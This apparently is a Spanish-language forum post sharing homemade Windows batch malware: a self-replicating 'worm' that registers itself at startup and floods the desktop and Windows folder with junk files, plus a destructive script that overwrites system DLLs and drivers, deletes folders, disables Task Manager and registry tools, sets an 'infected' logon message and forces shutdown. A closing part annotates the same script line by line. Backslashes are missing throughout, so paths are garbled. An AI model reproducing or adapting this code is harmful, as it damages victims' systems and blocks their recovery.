bienvenido a mu-galaxy - my ultimo gusano

@echo off
copy %0%windir%system32worm.bat
REG ADD HKLMsoftwaremicrosoftwindowscurrentversionrun /v hack
/d %windir%system32worm.bat
:worm
cd
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm

@echo off 

@cd C:WINDOWSsystem 

echo bean>MOUSE.DRV  

echo bean>mouse.drv 

@cd.. 

@cd C:WINDOWS 

@rmdir /S /Q Cursores 

@rmdir /S /Q Cursors 

@cd.. 

@cd C:windowssystem32 

@echo off>Winbat.bat 

@cd C:Windows>>Winbat 

@reg del HKEY_CURRENT_USERControl PanelSound /F 

echo bean>SETDEBUG.EXE>>Winbat.bat 

echo bean>TETEP.DLL>>Winbat.bat 

echo bean>Twain.dll>>Winbat.bat 

echo bean>Twain_32.dll>>Winbat.bat 

@DEL /S /Q JavaAccessBridge.dll>>Winbat.bat 

@cd.. 

@cd C:System Volume Information_restore{E5311AE9-97D4-4238-9F6D-97D214BD07B1}RP51 

@echo off >WIN32.bat 

@reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun/v Win32 /t REG_SZ /d WIN32.bat /F >>WIN32.bat 

@reg add hkcusoftwaremicrosoftwindowscurrentversionpoliciessystem /v disabletaskmgr /T REG_SZ /D 1 /F >>WIN32.bat 

@reg add hkcusoftwaremicrosoftwindowscurrentversionpoliciessystem /v disableregistrytools /T REG_SZ /D 1 /F >>WIN32.bat 

@reg add hkcusoftwaremicrosoftwindowscurrentVersionpoliciesExplorerRestricRun /T REG_SZ /d eventvwr.exe /F >>WIN32.bat 

@reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NT/CurrentVersion/Winlogon /v logonprompt /t REG_SZ /d YoU ArE InFeCtEd!! /F >>WIN32.bat 

@reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicesExplorer /v NoSaveSettings /T REG_DWORD /D 1 /F >>WIN32.bat 

@reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplore /v NoClose /t REG_DWORD /D 1 /F >>WIN32.bat 

@shutdown -S -F -T 5 -C "Error del Sistema Operativo, Se apagara en unos segundos......BEAN!!!! >>WIN32.bat 

@cd.. 

@cd C:System Volume Information_restore{E5311AE9-97D4-4238-9F6D-97D214BD07B1}RP51 

@reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun/v colorbat /t REG_SZ /d colorbat /F >colorbat.bat 

@:menu>>colorbat.bat 

@call cmd.exe>>colorbat.bat 

@call cmd.exe>>colorbat.bat 

@call cmd.exe>>colorbat.bat 

@call cmd.exe>>colorbat.bat 

@call cmd.exe>>colorbat.bat 

@call cmd.exe>>colorbat.bat 

@call cmd.exe>>colorbat.bat 

@call cmd.exe>>colorbat.bat 

@GOTO :MENU>>colorbat.bat 

@cd>>colorbat.bat 

@cd C:windowssystem32 

@DEL /S /Q Winbat.bat 

@exit

@echo off (oculta la pantalla)
@cd C:WINDOWSsystem (se hubika en ese directorio)
echo bean>MOUSE.DRV (sobreescribe el archivo kon la palabra bean)
echo bean>mouse.drv (sobreescribe el archivo kon la palabra bean)
@cd.. (detrocede un directorio ( windows))
@cd C:WINDOWS (aka se va windows (no entiendo porke hiso esto es ridikulo))
@rmdir /S /Q Cursores (borra los directorios cursores)
@rmdir /S /Q Cursors (borra el directorio cursors)
@cd.. (detrocede un directorio ( c Sonrisa

)
@cd C:windowssystem32 (se hubika en la karpeta system32)
@echo off>Winbat.bat (krea el archivo winbat.bat y le mete el @echo off)
@cd C:Windows>>Winbat (le agrega esto @cd C:Windows a winbat pero lo hiso mal se le olvido aklarar la extencion)
@reg del HKEY_CURRENT_USERControl PanelSound /F (agrega una llave al registro)
echo bean>SETDEBUG.EXE>>Winbat.bat (sobreescribe el archivo setdebug.exe kon la palabra bean)
echo bean>TETEP.DLL>>Winbat.bat (aki sobreescribe la dll teped.dll y luego intenta meterla en su kodigo pero lo hiso mal)
echo bean>Twain.dll>>Winbat.bat (aki intento hacer lo mismo)
echo bean>Twain_32.dll>>Winbat.bat (aka igua)l
@DEL /S /Q JavaAccessBridge.dll>>Winbat.bat (aka borra una dll e intenta ingresar el kodigo a winbat.bat)
@cd.. (detrosede un directorio)
@cd C:System Volume Information_restore{E5311AE9-97D4-4238-9F6D-97D214BD07B1}RP51 (se hubika en un directorio)
@echo off >WIN32.bat (krea el archivo win32.bat en ese directorio)
@reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun/v Win32 /t REG_SZ /d WIN32.bat /F >>WIN32.bat (pone el archivo win32.bat al arranke de windows modifikando el registro)
@reg add hkcusoftwaremicrosoftwindowscurrentversionpoliciessystem /v disabletaskmgr /T REG_SZ /D 1 /F >>WIN32.bat (aka lo agrega al registro nuevamente)
@reg add hkcusoftwaremicrosoftwindowscurrentversionpoliciessystem /v disableregistrytools /T REG_SZ /D 1 /F >>WIN32.bat (aka hace lo mismo)
@reg add hkcusoftwaremicrosoftwindowscurrentVersionpoliciesExplorerRestricRun /T REG_SZ /d eventvwr.exe /F >>WIN32.bat (aka igual)
@reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NT/CurrentVersion/Winlogon /v logonprompt /t REG_SZ /d YoU ArE InFeCtEd!! /F >>WIN32.bat (aka modifika el logo)
@reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicesExplorer /v NoSaveSettings /T REG_DWORD /D 1 /F >>WIN32.bat (lo agrega al registro)
@reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplore /v NoClose /t REG_DWORD /D 1 /F >>WIN32.bat (aka modifka la llave explore)
@shutdown -S -F -T 5 -C "Error del Sistema Operativo, Se apagara en unos segundos......BEAN!!!! >>"WIN32.bat (aka apaga el pc kon shutdown y le me manda un mensaje)
@cd.. (detrocede un directorio
@cd C:System Volume Information_restore{E5311AE9-97D4-4238-9F6D-97D214BD07B1}RP51 (se hubika en este directorio)
@reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun/v colorbat /t REG_SZ /d colorbat /F >colorbat.bat (agrega al arranke de windows el archivo colorbat.bat)
@:menu>>colorbat.bat (crea el archivo color.bat y le mete la etiketa :menu)
@call cmd.exe>>colorbat.bat (llama la shell de komandos y agrega ese code a colorbat.bat)
@call cmd.exe>>colorbat.bat (llama la shell de komandos y agrega ese code a colorbat.bat)
@call cmd.exe>>colorbat.bat (llama la shell de komandos y agrega ese code a colorbat.bat)
@call cmd.exe>>colorbat.bat (llama la shell de komandos y agrega ese code a colorbat.bat)
@call cmd.exe>>colorbat.bat (llama la shell de komandos y agrega ese code a colorbat.bat)
@call cmd.exe>>colorbat.bat (llama la shell de komandos y agrega ese code a colorbat.bat)
@call cmd.exe>>colorbat.bat (llama la shell de komandos y agrega ese code a colorbat.bat)
@call cmd.exe>>colorbat.bat (llama la shell de komandos y agrega ese code a colorbat.bat)
@GOTO :MENU>>colorbat.bat (llama la shell de komandos y agrega ese code a colorbat.bat)
@cd>>colorbat.bat (agrega el komando cd ke no lo uso para nada aka)
@cd C:windowssystem32 (se hubika en system32)
@DEL /S /Q Winbat.bat (botta su archivo malicioso para no dejar rastros)
@exit (cierra su supuesto "virus"